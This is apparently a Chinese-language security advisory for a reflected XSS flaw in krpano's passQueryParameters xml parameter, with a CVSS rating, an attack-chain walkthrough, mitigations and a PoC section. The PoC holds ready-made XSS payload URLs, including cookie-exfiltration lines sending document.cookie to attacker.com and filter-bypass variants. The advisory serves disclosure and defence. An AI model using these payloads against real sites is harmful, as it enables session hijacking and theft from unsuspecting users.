IPBUF安全漏洞报告
English
CVE-2025-65892 CVSS 6.1 中危

CVE-2025-65892: krpano passQueryParameters函数反射型XSS漏洞

披露日期: 2025-11-29

漏洞信息

漏洞编号
CVE-2025-65892
漏洞类型
反射型跨站脚本(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
krpano

相关标签

反射型XSS跨站脚本krpanoCVE-2025-65892Web安全前端漏洞passQueryParameters全景图工具

漏洞概述

CVE-2025-65892是krpano软件中的一个反射型跨站脚本(rXSS)漏洞。krpano是一款流行的全景图和虚拟现实内容的创建工具,广泛应用于WebVR、全景漫游、3D场景展示等领域。该漏洞存在于krpano 1.23.2及之前版本的passQueryParameters函数中,当xml参数被启用时,攻击者可以通过构造恶意URL诱使受害者访问,从而在受害者浏览器中执行任意JavaScript代码。由于该漏洞为反射型XSS,需要用户交互(点击恶意链接)才能触发,CVSS评分为6.1(中危)。攻击成功可导致会话劫持、敏感信息窃取、恶意内容注入等危害。

技术细节

该漏洞的根本原因在于krpano的passQueryParameters函数对用户输入的xml参数缺乏充分的输入验证和输出编码。当用户请求的URL中包含xml参数且该参数值未经适当过滤时,恶意脚本内容会被直接反射到响应页面中。具体攻击方式为:攻击者构造包含恶意JavaScript代码的URL链接,例如在xml参数中注入<script>alert(document.cookie)</script>等XSS payload,并诱使目标用户点击访问。由于krpano在处理URL参数时未对特殊字符进行HTML实体编码,恶意脚本将在用户浏览器中作为响应内容的一部分被解析执行。攻击者利用此漏洞可窃取用户的认证令牌、会话ID或其他敏感信息,也可篡改页面内容进行钓鱼攻击。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站上运行的存在漏洞的krpano版本(< 1.23.2),确认其passQueryParameters函数的xml参数存在XSS漏洞
STEP 2
步骤2
攻击者构造恶意URL,在xml参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>或其他XSS payload
STEP 3
步骤3
攻击者通过钓鱼邮件、社交工程、恶意网页链接等方式诱使目标用户点击该恶意构造的URL链接
STEP 4
步骤4
目标用户浏览器向存在漏洞的krpano服务器发送请求,服务器将未经过滤的xml参数值反射回响应页面
STEP 5
步骤5
用户浏览器接收到响应后,将恶意脚本作为HTML内容的一部分解析执行,从而触发XSS攻击
STEP 6
步骤6
恶意脚本在用户浏览器上下文中执行,可窃取Cookie、会话令牌、键盘记录等敏感信息,或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-65892 PoC: Reflected XSS in krpano passQueryParameters --> <!-- Target: krpano < 1.23.2 with xml parameter enabled --> <!-- Malicious URL payload --> <!-- Replace 'http://target.com/krpano/' with actual krpano installation URL --> <!-- Basic XSS PoC --> https://example.com/krpano/?xml=<script>alert('XSS')</script> <!-- Cookie stealing PoC --> https://example.com/krpano/?xml=<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Session hijacking PoC --> https://example.com/krpano/?xml=<script>document.location='https://attacker.com/steal?data='+btoa(document.cookie)</script> <!-- Using SVG tag to bypass filters --> https://example.com/krpano/?xml=<svg/onload=alert(document.domain)> <!-- HTML encoding bypass attempt --> https://example.com/krpano/?xml=<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

影响范围

krpano < 1.23.2

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1) 在Web应用防火墙(WAF)或反向代理层面配置规则,对包含xml参数的请求进行XSS特征检测和拦截;2) 禁用或限制passQueryParameters函数的xml参数功能;3) 对所有URL参数进行严格的输入过滤和HTML实体编码;4) 启用HttpOnly和Secure属性的Cookie配置,降低会话劫持风险;5) 加强对用户的安全意识培训,提醒用户不要点击来源不明的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表